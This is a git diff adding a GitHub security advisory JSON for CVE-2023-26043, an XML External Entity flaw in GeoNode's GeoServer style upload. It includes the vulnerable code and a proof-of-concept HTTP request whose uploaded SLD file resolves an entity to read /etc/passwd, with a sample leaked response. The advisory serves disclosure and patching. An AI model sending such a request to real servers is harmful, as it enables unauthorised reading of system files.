diff --git a/advisories/github-reviewed/2024/08/GHSA-mcmc-c59m-pqq8/GHSA-mcmc-c59m-pqq8.json b/advisories/github-reviewed/2024/08/GHSA-mcmc-c59m-pqq8/GHSA-mcmc-c59m-pqq8.json new file mode 100644 index 00000000000..d3395c03587 --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-mcmc-c59m-pqq8/GHSA-mcmc-c59m-pqq8.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mcmc-c59m-pqq8", + "modified": "2024-08-30T18:50:00Z", + "published": "2024-08-30T18:50:00Z", + "aliases": [ + "CVE-2023-26043" + ], + "summary": "GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection", + "details": "### Summary\nGeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.\n\n### Details\nGeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159\n@login_required\ndef dataset_style_upload(request, layername):\n def respond(*args, **kw):\n kw['content_type'] = 'text/html'\n return json_response(*args, **kw)\n ...\n sld = request.FILES['sld'].read() # 1\n sld_name = None\n try:\n # Check SLD is valid\n ...\n sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2\n except Exception as e:\n respond(errors=f\"The uploaded SLD file is not valid XML: {e}\")\n name = data.get('name') or sld_name\n set_dataset_style(layer, data.get('title') or name, sld)\n return respond(\n body={\n 'success': True,\n 'style': data.get('title') or name, # 3\n 'updated': data['update']})\n```\n\n`dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234\ndef extract_name_from_sld(gs_catalog, sld, sld_file=None):\n try:\n if sld:\n if isfile(sld):\n with open(sld, \"rb\") as sld_file:\n sld = sld_file.read() # 1\n if isinstance(sld, str):\n sld = sld.encode('utf-8')\n dom = etree.XML(sld) # 2\n ...\n named_dataset = dom.findall(\n \"{http://www.opengis.net/sld}NamedLayer\")\n el = None\n if named_dataset and len(named_dataset) > 0:\n user_style = named_dataset[0].findall(\"{http://www.opengis.net/sld}UserStyle\")\n if user_style and len(user_style) > 0:\n el = user_style[0].findall(\"{http://www.opengis.net/sld}Name\") # 3\n ...\n return el[0].text # 4\n```\n\n`extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`.\n\n### PoC\n1. Create a guest/non-privileged account and log in.\n1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as ``.\n1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`:\n\n```\nPOST /gs/geonode:/style/upload HTTP/1.1\nHost: localhost\nCookie: django_language=en-us; csrftoken=; sessionid=\nX-Csrftoken: \nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo\nContent-Length: 485\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"layerid\"\n1\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"sld\"; filename=\"foo.sld\"\nContent-Type: application/octet-stream\n\n ]>\n\n \n \n \t&ent;\n \n \n\n------WebKitFormBoundaryfoo--\n```\n\nSample response:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.23.2\n...\n{\"success\": true, \"style\": \"root:x:0:0:root:/root:/bin/bash...\", \"updated\": false}\n```\n\n\n### Impact\nThis issue may lead to authenticated `Arbitrary File Read`.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "GeoNode" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.0.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26043" + }, + { + "type": "WEB", + "url": "https://github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/GeoNode/geonode" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-15.yaml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-611" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-08-30T18:50:00Z", + "nvd_published_at": "2023-02-27T21:15:12Z" + } +} \ No newline at end of file